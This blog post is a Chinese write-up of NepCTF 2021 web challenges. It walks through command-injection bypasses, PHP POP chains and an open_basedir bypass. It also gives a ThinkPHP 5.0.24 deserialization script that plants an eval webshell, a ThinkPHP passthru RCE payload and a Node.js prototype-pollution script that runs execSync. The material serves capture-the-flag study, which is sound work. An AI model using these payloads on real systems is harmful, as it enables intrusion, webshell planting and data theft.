HacKerQWQ的博客空间

Nep2021个人赛总结&wp(学习笔记)

Word count: 5.2kReading time: 28 min
2021/03/26 Share

web

littletrick

考点

  • 命令执行绕过

    代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
    eval(substr($nep,0,$len));
    }else{
    die('too long!');
    }
    ?>
    分析:$len限制了大小,$nep限制了长度,突发奇想,substr()有没有跟python的切片操作一样,把$len=-1,成功!$nep通过反引号执行命令,由于$len=-1使得$nep的最后一位被裁掉,所以需要增加一个没有用的字符
    最终payload:
    1
    ?len=-1&nep=`nl *>1`;;
    最后查看同目录1文件就有flag了
    1
    2
    3
    12<?php
    13 $flag = 'NepCTF{n3pn3p_l1ttle_tr1ck_c0me_bAck}';
    14 ?>
    20210402115319

梦里花开牡丹亭

题目描述

简单的PHP序列化

考点

  • php反序列化POP链构造
  • ZipArchive的open函数
  • 命令执行绕过

    源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    include('shell.php');
    class Game{
    public $username;
    public $password;
    public $choice;
    public $register;

    public $file;
    public $filename;
    public $content;

    public function __construct()
    {
    $this->username='user';
    $this->password='user';
    }

    public function __wakeup(){
    if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
    $this->choice=new login($this->file,$this->filename,$this->content);
    }else{
    $this->choice = new register();
    }
    }
    public function __destruct() {
    $this->choice->checking($this->username,$this->password);
    }

    }
    class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
    $this->file=$file;
    $this->filename=$filename;
    $this->content=$content;
    }
    public function checking($username,$password)
    {
    if($username==='admin'&&$password==='admin'){
    $this->file->open($this->filename,$this->content);
    die('login success you can to open shell file!');
    }
    }
    }
    class register{
    public function checking($username,$password)
    {
    if($username==='admin'&&$password==='admin'){
    die('success register admin');
    }else{
    die('please register admin ');
    }
    }
    }
    class Open{
    function open($filename, $content){
    if(!file_get_contents('waf.txt')){
    shell($content);
    }else{
    echo file_get_contents($filename.".php");
    }
    }
    }
    if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
    }

    详解

    md5和sha1的强比较绕过

一般来说这类hash函数的强比较绕过,应该第一时间想到数组绕过、0x十六进制、0b二进制、科学计数法

这里要求md5相等、sha1强比较相等,而且本身的值强比较不相等,那只有数组了
imageba75ab5708305613
payload:

1
?a[]=1&b[]=2

POP链构造

首先看__wakeup函数和__destruct函数,首先要满足

1
md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"

查了md5,是admin,所以确定Game()类的register属性是admin,接下来通过__destruct()进入login类之后,进入checking函数

1
2
3
4
5
6
7
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}

因此令Game类的usernamepassword都是admin满足条件,接下来进入file的open函数

1
2
3
4
5
6
7
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}

由于waf.txt一直存在,所以只能进入else,根据提示读取include的shell.php,因此结合上面的线索构造payload

1
2
3
4
5
6
7
8
$game = new Game();
$game->register="admin";
$game->username="admin";
$game->password="admin";
$game->filename="shell";
$game->content="test";
$game->file=new Open();
echo "unser=".urlencode(base64_encode(serialize($game)));

得到

1
unser=Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6NToic2hlbGwiO3M6NzoiY29udGVudCI7czo0OiJ0ZXN0Ijt9

读取到shell.php(也可以用php://filter读)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}

从代码可以看到,shell()函数可以执行系统命令,做了长度的限制,但是问题不大,现在的问题就是waf.txt一直存在,导致我们不能执行shell()

php的内置ZipArchive类

突破点在这里,这里的file不一定要代码里面的Open类

1
$this->file->open($this->filename,$this->content);

php的内置类ZipArchive类有open函数,flag标志位为ZIPARCHIVE::OVERWRITE时可以重写打开的压缩包
20210402113018
20210402113035
ZipArchive的官方文档

因此思路就清楚了,第一次先令file为ZipArchive,filename为waf.txt,content为ZIPARCHIVE::OVERWRITE,将waf.txt置空,然后第二次再令file为Open,fileanme随便,content=n\\\\l /flag执行命令。

第一次

1
2
3
4
5
6
7
8
$game = new Game();
$game->register="admin";
$game->username="admin";
$game->password="admin";
$game->filename="waf.txt";
$game->content=ZipArchive::OVERWRITE;
$game->file=new ZipArchive();
echo "unser=".urlencode(base64_encode(serialize($game)));

20210402113051
第二次

1
2
3
4
5
6
7
8
$game = new Game();
$game->register="admin";
$game->username="admin";
$game->password="admin";
$game->filename="shell";
$game->content="n\\\\l /flag";
$game->file=new Open();
echo "unser=".urlencode(base64_encode(serialize($game)));

20210402113113

搞定~

faka_revenge

这道题来自2020年的网鼎杯线下半决赛faka

考点

  • 代码审计
  • 文件上传绕过

    题目描述

    张三的发卡网站去年被一群禽兽给~~了,不甘心的他留下了没有技术的泪水。
    a few months later,faka2.0 is back full of anger。

    源码

    https://camp.hackingfor.fun/
    官网自取

    详解

    网鼎杯解法

    尝试得到后台管理员权限

源码下的tk.sql存在这一句

1
2
3
4
5
LOCK TABLES `system_user` WRITE;
/*!40000 ALTER TABLE `system_user` DISABLE KEYS */;
INSERT INTO `system_user` VALUES (10005,'admin','81c47be5dc6110d5087dd4af8dc56552',NULL,'12345678@qq.com','12345678','demo',264,'2020-03-20 14:38:56',1,'3',0,NULL,'2018-05-02 00:40:09',NULL);
/*!40000 ALTER TABLE `system_user` ENABLE KEYS */;
UNLOCK TABLES;

对应字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
CREATE TABLE `system_user` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL DEFAULT '' COMMENT '用户登录名',
`password` char(32) NOT NULL DEFAULT '' COMMENT '用户登录密码',
`qq` varchar(16) DEFAULT NULL COMMENT '联系QQ',
`mail` varchar(32) DEFAULT NULL COMMENT '联系邮箱',
`phone` varchar(16) DEFAULT NULL COMMENT '联系手机号',
`desc` varchar(255) DEFAULT '' COMMENT '备注说明',
`login_num` bigint(20) unsigned DEFAULT '0' COMMENT '登录次数',
`login_at` datetime DEFAULT NULL,
`status` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '状态(0:禁用,1:启用)',
`authorize` varchar(255) DEFAULT NULL,
`is_deleted` tinyint(1) unsigned DEFAULT '0' COMMENT '删除状态(1:删除,0:未删)',
`create_by` bigint(20) unsigned DEFAULT NULL COMMENT '创建人',
`create_at` timestamp NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`google_secret_key` varchar(128) DEFAULT '' COMMENT '谷歌令牌密钥',
PRIMARY KEY (`id`),
UNIQUE KEY `index_system_user_username` (`username`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=10006 DEFAULT CHARSET=utf8 COMMENT='系统用户表';

这里向system_user表插入了admin管理员,并且authorize字段是3表示管理员,不然都是普通账号
注册点在application\admin\controller\Index.php下的info方法

1
2
3
4
5
6
7
public function info()
{
if (intval($this->request->request('id')) === intval(session('user.id'))) {
return $this->_form('SystemUser', 'user/form');
}
$this->error('只能修改当前用户的资料!');
}

20210402113134
填写资料抓包,然后把authorize改成3
20210402113149
得到管理员权限
20210402113205

文件上传getshell

漏洞利用点:/admin/plugs/upfile.html,其实这里没有授权也可以访问的,前面取得管理员账号可以说是没必要

原理:https://xz.aliyun.com/t/7838
构造payload

1
2
3
4
5
6
<?php
$md5="73058d518344b513098c51845768.php";
$md5=str_split($md5,16);
$ext="png";
$filename = join('/', $md5) . ".{$ext}";
echo md5($filename);

得到token是1d3eb018ca985d5fb7668cc8112f2cd3,然后只要抓包将md5改成73058d518344b513098c51845768.php,filename改成”*.png”,图片头加上gif的GIF89a绕过图片头验证,就能通过验证
20210402113222
显示上传失败但是其实成功了

访问/static/upload/73058d518344b513/098c51845768.php ,getshell!!!
20210402113236

nepctf解法

前面管理员部分nepctf不能获得系统管理员
20210402113249
并且/amdin/plugs/upfile上传部分,拓展名始终保持png或jpg
20210402113325
那么这里就要用别的方法,比如说tp的文件包含
原理:https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB7.md

在源码文件夹搜索assign()函数,并且须存在可控参数
20210402113352
由于/wechat/Review.php存在assign(),且$get可控,因此存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function index()
{
$get = $this->request->get();
$content = str_replace("\n", "<br>", $this->request->get('content', '')); // 内容
$type = $this->request->get('type', 'text'); // 类型
$this->assign('type', $type);
// 图文处理
if ($type === 'news' && is_numeric($content) && !empty($content)) {
$news = WechatService::getNewsById($content);
$this->assign('articles', $news['articles']);
}
// 文章预览
if ($type === 'article' && is_numeric($content) && !empty($content)) {
$article = Db::name('WechatNewsArticle')->where('id', $content)->find();
if (!empty($article['content_source_url'])) {
$this->redirect($article['content_source_url']);
}
$this->assign('vo', $article);
}
$this->assign($get);
$this->assign('content', $content);
// 渲染模板并显示
return view();
}

构造payload包含我们刚刚上传的文件
20210402113407
但是这里存在open_basedir需要绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

20210402113420
构造payload读取zhangsan_secret.txt

1
2
3
4
5
6
7
8
9
10
11
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/zhangsan_secret.txt');
var_dump($a);

注意需要把换行符\n去掉
20210402113433

官方wp

  1. ThinkPHP 5.0.24反序列化漏洞
    原理:
    https://www.jianshu.com/p/bb54c6e1c1b4
    https://b1eed.github.io/2020/03/25/Thinkphp5.0.24-unserialize
    https://www.anquanke.com/post/id/196364#h2-6
    exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    #coding:utf-8
    import requests
    from urllib.parse import unquote, quote

    from requests.api import head
    proxies = {
    'http': '127.0.0.1:8080'
    }
    #exp如下:⼀键getshell,再往后直接命令执⾏拿flag,
    #或者想绕过下open _basedir翻⽬录拿都⾏(https://github.com/mm0r1/exploits。

    def mkdir1(url):
    payload1 ="O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
    payload2 ='_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    resl = requests.post(url,data = payload2,cookies = cookies,headers =headers)
    res2 = requests.get(url + '/static/runtime/',cookies = cookies,headers =headers)
    if(res2.status_code == 403):
    print(' [ + ] ./static/runtime目录创建成功')

    def mkdir2(url):
    payload1="O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
    payload2 ="_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}".format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url +'/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',cookies=cookies,headers = headers)
    if(res2.status_code == 403):
    print('[+]./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/⽬录创建成功')

    def getshell(url):
    payload1 ='O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
    payload2 ='_method=__construct&filter[]=unserialize&server[]=phpifo&get[]={}'.format(payload1)
    res1 = requests.post(url,data=payload2,cookies=cookies,headers=headers)
    res2 = requests.get(url+'/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php',cookies=cookies,headers=headers)
    if(res2.status_code==200):
    print('[+] shell写入成功')
    print('[+] shell地址为:'+url+'static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php')



    if __name__ == '__main__':
    headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
    }
    cookies = {
    'freeze_money_tip': '1',
    's7466e88d': 'opa9cr1vj7khejdns52ar571mj'
    }
    url ='http://256ca4d1-0054-455a-83eb-89708e5dbc1a.node1.hackingfor.fun/'
    #shell密码: ccc
    mkdir1(url)
    mkdir2(url)
    getshell(url)

    结果:
    20210402113452

  2. ThinkPHP RCE漏洞
    链接:https://hackerqwq.github.io/2020/11/10/THINKPHP-poc-collection/

由于没有禁用passthru函数,因此将system换成passthru即可
payload:

1
2
3
/?s=index/index
post:
_method=__construct&filter[]=passthru&method=get&get[]=whoami

bbxhh_revenge

考点

  • 云函数的运用

    题目描述

    小红花又双叒叕遇到黑页了,不过这个黑页好像有点奇怪
    让小红花回忆起来了刚学CTF的那段时光…

    详解

    思路:运用云函数,无需服务器,从腾讯的多处服务器执行函数,相当于上了代理池了…
    https://console.cloud.tencent.com/
    去腾讯的云函数控制界面将这个python文件写入
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    #!/usr/bin/env python 
    # coding:utf-8
    import requests
    import json
    def getEverything(event):
    url = getUrl(event['queryString'])
    headers = event['headers']
    data = getBody(event)
    if data == False:
    method = "get"
    else:
    method = "post"
    return url, headers, method, data

    def getUrl(queryString):
    if "u" in queryString:
    return queryString['u']
    else:
    return "http://www.baidu.com"

    def getBody(event):
    if 'body' in event:
    body = event['body']
    s = '{"' + body.replace('=','":"').replace('&','", "') + '"}'
    return json.loads(s)
    else:
    return False

    def main_handler(event, context):
    url, headers, method, data = getEverything(event)
    if method == "get":
    resp = requests.get(url, headers = headers, verify = False)
    else:
    resp = requests.post(url, data = data, headers = headers, verify =False)
    response={
    "isBase64Encoded": False, "statusCode": 200,
    "headers": {'Content-Type': 'text/html'}, "body": resp.text}
    return response
    下面没有复现完,这是官方wp
    20210402113520
    20210402113534
    20210402113548
    20210402113617
    最后flag在黑色的页面中,F12就能看到了

php的原生反射机制还不懂,后续写一篇博客学习学习

gamejs

题目描述

好好玩游戏不香吗

考点

  • nodejs的原型链污染
  • JSON绕过变量属性验证
  • NAN绕过数字

详解

record路由是突破点

1
var score = req.body.score; 

通过post的score传参

JSON绕过属性验证

1
2
3
4
5
6
7
8
app.use(bodyParser.json());

if (score.length < String(highestScore).length) {
merge(record, {
lastScore: score,
maxScore: Math.max(parseInt(score),record.maxScore),
lastTime: new Date().toString()
});

由于启用了bodyParser.json()

因此可以构造

1
{"score":{"length":1}}

20210402113630

merge造成的原型链污染

相关代码

1
2
3
4
5
merge(record, {
lastScore: score,
maxScore: Math.max(parseInt(score),record.maxScore),
lastTime: new Date().toString()
});

追踪merge函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var merge = function (target, source) {
try {
for (let key in source) {
if (typeof source[key] == 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
}
};

典型的js原型链污染

先看下一步

1
2
3
4
5
6
highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}

需要进入到unserialize函数,那么需要score-higestScore<0出错,上面我们构造的payload就可以直接绕过
20210402113808

接下来跟进unserialize函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};

这里放一张图
20210402113821
关键点要让obj[key]为我们的payload,所以可以通过上面的merge造成原型链污染,使得所有的对象都带有我们的函数,那么就需要原型链污染到null

构造payload

1
{"score":{"__proto__":{"__proto__":{"test":"123"}}},"length":1}

20210402113832
污染成功
因此我们的payload为

1
{"score":{"__proto__":{"__proto__":{"test":"_$$ND_FUNC$$_PAYLOAD"}}},"length":1}

接下来进入validCode

1
2
3
4
5
6
7
8
9
var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
var validInput = function (input) {
let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
ins = serialize(input);
return !validInput.test(ins);
};

可以通过十六进制绕过

接下来是Y4tacker师傅的思路

因为没有回显,这里采用报错方式配合二分法获得flag

1
2
3
4
5
a = '69662870726f636573732e6d61696e4d6f64756c652e726571756972652822667322292e7265616446696c6553796e6328222f6574632f70617373776422292e746f537472696e6728295b305d3e227a22297b7d656c73657b7468726f77204572726f7228297d'
res =""
for i in range(0,len(a),2):
res += "\\\\x"+a[i:i+2]
print(res)

因此得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import string
import json

url = "http://467df204-a224-4b61-8ae6-48637aa91cee.node5.hackingfor.fun/record"


def deco(idx, c):
p = ''.join(['\\x' + hex(ord(i))[2:] for i in f'if(process.mainModule.require("child_process").execSync("cat /flag").toString()[{idx}]>"{c}"){{}}else{{throw Error()}}'])
#由于python的post表单需要包裹单引号,constructor里面用反引号`代替单引号也可以
r = {"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_``.constructor.constructor(`" + p + "`)()"}},
"length": 1}}
return r


flag = ''
for i in range(0, 1000):
max = 127
min = 32
while max >= min:
# print(str(max)+"-------"+str(min))
mid = (max + min) // 2
r = requests.post(url, json=deco(i, chr(mid)))
if "broke" not in r.text:
min = mid + 1
else:
max = mid
if max == mid == min:
flag += chr(mid)
print(flag)
break
if '}' in flag[:-1]:
exit()

20210402113848

Easy_Tomcat

考点

详解

由于复现时间较晚,没有复现环境,wp参考Y4tacker师傅
https://y4tacker.blog.csdn.net/article/details/115097864

总结

